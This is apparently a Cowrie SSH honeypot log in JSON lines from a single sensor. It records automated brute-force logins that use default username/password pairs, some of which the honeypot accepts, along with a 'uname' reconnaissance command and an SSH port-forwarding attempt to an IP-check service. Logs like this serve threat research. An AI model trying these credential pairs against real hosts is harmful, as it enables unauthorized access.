{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:56.322842Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password","message":"login attempt [root/Password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:56.980743Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:57.449279Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:57.452666Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:57.673743Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:57.679709Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60078,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3b7cf579ec","protocol":"ssh","message":"New connection: 101.44.96.62:60078 (159.203.135.109:22) [session: ad3b7cf579ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:09.566643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:09.570751Z","src_ip":"101.44.96.62","session":"ad3b7cf579ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:09.788203Z","src_ip":"101.44.96.62","session":"ad3b7cf579ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:10.440041Z","src_ip":"101.44.96.62","session":"ad3b7cf579ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:11.660754Z","src_ip":"101.44.96.62","session":"ad3b7cf579ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:15.693012Z","src_ip":"180.184.141.117","session":"25396870c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39758,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d40f71ad78a","protocol":"ssh","message":"New connection: 101.44.96.62:39758 (159.203.135.109:22) [session: 6d40f71ad78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:23.005126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:23.012643Z","src_ip":"101.44.96.62","session":"6d40f71ad78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:23.230263Z","src_ip":"101.44.96.62","session":"6d40f71ad78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:23.886169Z","src_ip":"101.44.96.62","session":"6d40f71ad78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:25.108342Z","src_ip":"101.44.96.62","session":"6d40f71ad78a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50826,"dst_ip":"159.203.135.109","dst_port":22,"session":"f112ab0c586d","protocol":"ssh","message":"New connection: 101.44.96.62:50826 (159.203.135.109:22) [session: f112ab0c586d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:36.511331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:36.514601Z","src_ip":"101.44.96.62","session":"f112ab0c586d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:36.730707Z","src_ip":"101.44.96.62","session":"f112ab0c586d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:37.384043Z","src_ip":"101.44.96.62","session":"f112ab0c586d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:38.602970Z","src_ip":"101.44.96.62","session":"f112ab0c586d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":38836,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c41a376e3d3","protocol":"ssh","message":"New connection: 185.156.73.233:38836 (159.203.135.109:22) [session: 2c41a376e3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:47.307850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:47.311789Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:47.396616Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:47.785591Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43726,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a1bbe72bdb2","protocol":"ssh","message":"New connection: 101.44.96.62:43726 (159.203.135.109:22) [session: 8a1bbe72bdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:49.989333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:49.992681Z","src_ip":"101.44.96.62","session":"8a1bbe72bdb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:50.205423Z","src_ip":"101.44.96.62","session":"8a1bbe72bdb2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"185.156.73.233","src_port":45998,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:45998","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:50.444846Z","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:50.844435Z","src_ip":"101.44.96.62","session":"8a1bbe72bdb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":56346,"dst_ip":"159.203.135.109","dst_port":22,"session":"3717229f23f2","protocol":"ssh","message":"New connection: 91.92.240.199:56346 (159.203.135.109:22) [session: 3717229f23f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:51.018090Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:58:51.445986Z","src_ip":"185.156.73.233","session":"2c41a376e3d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03LN\\xfd\\x1f\\x1f\\xbe\\x93h{P\\xf3$\\xed\\x91\\xf1\\x93\\xb9\\xb7]\\xdeHIt\\x8f\\xf6\\x1a\\xf0\\xb6K\\x1b\\x95\\x19 M\\x07{\\\\\\xe2\\x95\\x90\\xb9\\xa6a\\xb7\\x87\\x99/\\xae\\xf1\\x1cL>{\\xddwI\\xc5\\x9b\\xb14;\\x08\\xf6\\x17\\xcb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x0eJ\\x9e\\xb0 \\x1b:v(3q\\x07\\x03\\xf3 ?\\xed\\x0f\\xf9\\x19=\\xdd\\xd6<p\\xf4\\x1f\\xf4Z\\x198m\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.170.77.26:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03LN\\xfd\\x1f\\x1f\\xbe\\x93h{P\\xf3$\\xed\\x91\\xf1\\x93\\xb9\\xb7]\\xdeHIt\\x8f\\xf6\\x1a\\xf0\\xb6K\\x1b\\x95\\x19 M\\x07{\\\\\\xe2\\x95\\x90\\xb9\\xa6a\\xb7\\x87\\x99/\\xae\\xf1\\x1cL>{\\xddwI\\xc5\\x9b\\xb14;\\x08\\xf6\\x17\\xcb\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x0eJ\\x9e\\xb0 \\x1b:v(3q\\x07\\x03\\xf3 